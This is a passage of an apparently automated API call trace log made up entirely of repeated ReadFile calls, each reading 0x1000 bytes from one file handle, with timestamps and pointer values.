lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.709] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.720] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.720] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.720] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.721] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.721] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.721] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.721] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.722] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.722] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.723] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.726] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.727] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.729] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.730] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.731] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.732] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.733] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.734] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.734] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.734] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.734] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.734] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.735] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.737] ReadFile (in: hFile=0x344, 